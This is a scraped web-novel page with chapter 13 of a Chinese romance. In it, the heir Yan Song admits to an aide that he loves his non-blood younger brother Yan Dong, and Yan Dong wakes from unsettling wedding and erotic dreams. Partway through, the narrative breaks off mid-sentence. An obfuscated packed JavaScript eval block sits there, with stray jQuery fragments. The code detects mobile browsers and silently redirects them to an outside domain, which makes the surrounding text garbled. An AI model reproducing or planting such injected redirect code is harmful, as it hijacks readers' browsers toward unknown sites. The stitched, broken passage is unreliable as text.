默认冷灰
24号文字
方正启体

13.噩梦

作者:仰玩玄度本书字数:K更新时间:
    二皇子的话无疑又在燕冬心上扎了一刀,他心不在焉、食不知味,晚膳只用了半碗米汤就洗漱钻被窝了。


    和宝和常青青在外间大眼瞪小眼。


    “都是狐狸精惹得祸!”和宝愤愤握拳,“我去教训他一顿,给小公子出气!”


    “别胡来,小公子自个儿都没教训他呢,你去耍威风就是踩咱们主子的脸面。”常青青叹气,“何况小公子在意的不是那个人,而是这件事,或者说,他真正在意的是世子。”


    和宝似懂非懂,“那要怎么办啊?”


    常青青也很无助,人家的兄弟债,外人插不了手。


    当午站在不远处,听着两人喁喁私语,心里也有些纳闷,不知世子是如何想的。


    听说小公子晚膳没怎么用,农生夜里过来询问。主屋一片漆黑,两人便绕到后廊说话。


    “从宫里出来就更不好了,问了宫里的人,应该是二皇子说了什么。”当午说,“我不明白,主子为何不愿解释一句?虽说涉及密事,但主子何曾提防过小公子?小公子虽非心机深沉之辈,但也聪慧知分寸,不会冒失泄露什么。”


    “其实吧,”农生深沉地说,“我这回也没看明白。”


    “……”当午面无表情地盯着他。


    农生咳了一声,摊手,“小公子虽说撂蹄子时声势很大,但世子出马必能将人哄好,可世子这回就是一句不解释,随小公子胡思乱想,实在奇怪。”


    他们都是燕颂的亲信,虽说这么多年了仍不能看透这位主子,但燕颂疼爱燕冬这一点是始终不曾遮掩、改变的,为何偏偏这次不同?


    “或许,”当午斟酌着说,“小公子实在太依赖主子了,主子怕长此以往小公子分不清兄弟界限,所以借机敲打一二?”


    农生摇头,“不像,世子也不喜小公子和王家姑娘走得太近。”


    小公子依赖世子太过,世子对小公子的掌控欲又哪里不过了?


    “因为王植吧。”当午说。


    “王植和家中关系疏离,待堂妹又能有几分真心?小公子哪怕和王家姑娘好,也影响不了半点。”农生思忖,“世子像是不喜欢王家姑娘这个人。”


    可王嘉禧不论相貌品性都没什么值得诟病的地方,说来也真是怪了,莫非是天生不合眼缘?


    两人凑在一起讨论了片刻,可惜世子心海底针,最后没得出什么靠谱的结论,农生只得先回熏风院复命。


    熏风院灯火通明,常春春端着酽茶进入书房,燕颂没有批阅公务,正对着手中的荷包发呆。


    说发呆也不合适,那漆黑眸里的东西晦涩难懂,压抑着太多情绪,竟让常春春莫名心惊肉跳。


    淡青色的荷包,吊着真珠穗子,到燕颂手里有四年了,但他一直珍藏在匣子里,很少使用,所以瞧着崭新。


    常春春将茶盏放在书桌上,无意间瞧了一眼荷包,上头是双燕齐飞的图样,绣工蹩脚,把两只亲昵的燕子绣得胖嘟嘟的。他不欲打扰燕颂,转身走出几步,脚下却突然僵住了。


    双燕齐飞。


    双燕……齐飞。


    “怎么?”燕颂的声音响起。


    好似猫在夜里飞檐蹿墙时突然目睹可怕的场景,常春春寒毛卓竖,猛地转身跪下。他浑身紧绷,不敢抬头。


    世子莫不是?!


    燕颂抬眼看向跪在雪梅织锦毯上的人,颇为欣慰,“你的脑子是要比他俩转得快些。”


    “……世子,”常春春语气干涩,“属下绝不会透露一字半言。”


    燕颂不解,“你觉得我不该?”


    不该什么,兄弟悖|伦吗?常春春艰难地说:“世子要做什么,从来没有做不到的。”


    燕颂好整以暇,“做得到却不该做,是吗?”


    常春春没有回答,只说:“您和小公子是亲兄弟。”


    燕颂将荷包轻轻放入匣中,盯了那双肥燕一会儿才合盖落锁放回书桌柜里。他示意常春春起来,“我和他不是亲兄弟。”


    “可小公子将您当亲兄……”常春春一顿,突然明白世子为何不向小公子解释清楚了。


    ——沸水煮青蛙。


    世子真是用心“险恶”。


    常春春暗自唏嘘,说:“可小公子天真不懂情爱,怕是开不了窍。”


    “不懂情爱?”燕颂说,“他不是和王家姑娘走得近吗?”


    难怪世子好像不大喜欢王嘉禧,原来如此!常春春一下全明白了,他呼了口气,说:“小公子只是以同窗友谊待之。”


    “可王家姑娘不同,”燕颂想起那姑娘专注难掩欢喜的目光,淡声说,“少女心事,藏不住。”


    常春春安抚道:“落花有意,流水无情,无用。”


    燕颂看向常春春,“你在影射我吗?”


    天可怜见,常春春慌忙说:“属下不敢,属下没有!”


    燕冬凝视着他,常春春后颈瘆凉,足足几息后,燕颂才面无表情地说:“出去。”


    “是!”常春春不敢停留,飞快地撤了出去。


    农生踩着踏道上廊,和惊如脱兔的常春春撞上,笑着说:“撞鬼了?”


    “差不多吧。”常春春滚得飞快。


    奇奇怪怪,农生挠头,迈步进屋回禀。


    *


    燕冬吃不好,辗转反侧终于囫囵睡着后却也不得安生——他梦到了燕颂穿喜服的样子。


    容貌端华、清贵英雅,专注地看着彩结另一端的人,笑意温柔、目光沉溺——这简直是一场华丽丽的噩梦!


    燕颂有多赏心悦目,这梦就有多摧裂肝胆!


    燕冬吓醒了,连回想都不敢,慌忙让和宝灌了一剂安眠药,再次强迫自己迷迷糊糊地睡下。


    然而没多久,他又做了个梦,梦境一片昏暗,只有角落里留着一片朦胧昏黄,那里传来一点声音,是布料磨蹭的窸窣声和年轻男人的喘|息,幽沉低哑,隔着纱也似,若隐若现,朦胧不清。


    “冬冬……”


    男人唤他的名,如此亲昵,似与他隔纱相望,迷离缱绻,又似欲壑难填,想把他含入唇齿吞入腹中,抿化了嚼碎了融为一体。


    燕冬又被吓醒了!


    他抱着脑袋,掌心紧紧贴着耳朵,像是要阻隔男人如影随形却又含糊不清的暧|昧喘|息。


    这谁啊这谁啊!


    干嘛跑到他的梦里来发|春!


    他怎么会做这样淫|佚的梦!


    “小公子!”和宝正趴在被窝里熬夜看话本,闻声立刻起身蹿入里间。借着夜灯一瞧,燕冬面色绯红,和宝吓了一跳,连忙摸他的额头,“您发热了?好烫!”


    岂止脸烫,燕冬的脑子烫,五脏六腑烫,就连暖在被窝里的大腿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461903|169559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也烫得一哆嗦。


    “……和宝,”他攥着被,夹着腿,嗫嚅道,“你帮我找个大夫。”


    “三小姐不在府里,我叫胡大夫来?”和宝请示。


    燕冬下意识地点头,下一瞬又反应过来,连忙拦住人,“不能叫家里的大夫!”


    看着和宝茫然不解的表情,燕冬难以启齿,只能招手示意对方附耳过来,无助地说:“我应该是……中邪了。”


    “中……啊?!”


    燕冬支吾着,叫和宝取了件披风来胡乱裹上,下床出了里屋。轻轻推开外间的一扇窗,本是想吹风清醒清醒、洗洗脑子,可寒夜幽冷,月亮都不敢探头,万物生灵好似都被漆黑夜色压弯了腰,沉默匍匐,他感觉到一阵压抑,心中那些惶恐悲伤和不知名的情绪很快就控制不住地倾泻而出。


    怎么会突然梦到大哥成亲呢?燕冬拽着披风领子,齿尖紧紧咬住下唇。


    “公子,您是做噩梦了吗?”和宝走到窗前,担忧地看着燕冬,那张脸最是明媚漂亮,一旦变得忧愁,就会透露出很招人疼的味道。他焦急地挠挠头,学着常青青的样子,像个知心的大哥哥那样轻轻拍了下燕冬的肩膀,“梦都是反的!公子别怕。”


    燕冬被他老气横秋的样子逗笑,说:“我梦到大哥了……他穿着喜服。”


    和宝正想说:那不是很寻常的事嘛,都说日有所思夜有所梦,公子您天天大哥长大哥短,梦见人家才不奇怪嘞。听见后半句立刻不假思索地说:“不可能!”


    燕冬看着他,那目光带着赤|裸裸的期待,“如何不可能?”


    和宝说:“国公爷和郡主没有给世子说亲的念头,陛下也没有给世子赐婚的意思,世子自己也没有想要成家的想法呀!”


    “如今没有,以后哪里说的准。”燕冬垂眼。


    “这……”和宝无法反驳。


    “喜服原来是那么红的,”燕冬皱了皱鼻尖,有些嫌弃,“没有大哥以前那些绯袍官服好看……但他做新郎官的样子也是极好看的。”


    好看得有些刺眼了。


    双手无意识地紧紧攥在一起,有冰凉的硬物膈在肉上,燕冬睫毛一颤,突然抬起手,红玉戒在夜灯下像条冬眠的玛瑙蛇,猩红,“留玉指环,并诗一首——我突然想起来,这玉指环还可以充作定情之物呢。你说,”他把手抬得高些,仰头疑惑地盯着它,“大哥以后也会给别人做一个,然后亲手为其戴上吗?”


    “当然不会!”和宝瞧着燕冬微微湿润的下睫,用铿锵有力的语气说,“这么多年,世子就给您做过,外人怎么能和您比!您才是世子爷的宝贝!旁人比不得争不了!”


    “是吧,”燕冬扯了扯嘴角,“我也这样想。”


    可如今他想要的,好像不仅如此。


    往左边望去,小径幽深,回廊曲折,廊前铺着草坪,紫藤花架后重檐深深,那是燕颂的寝屋,他们曾经昼夜相伴了十几年的地方。


    “你已经长大了。”


    那年分院子时,燕颂居高临下地说出了这句话。彼时他哭闹不止,如今仍不甘心,彼时他要接受长大了就得分院住,如今乃至以后是不是还要接受燕颂成家后就可能会与他分府?他突然又想起,明明当年连爹娘都没有这个意思,是燕颂自己提出来的,是燕颂在撵他。


    燕冬盯着那重檐,突然有些“恨”燕颂了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)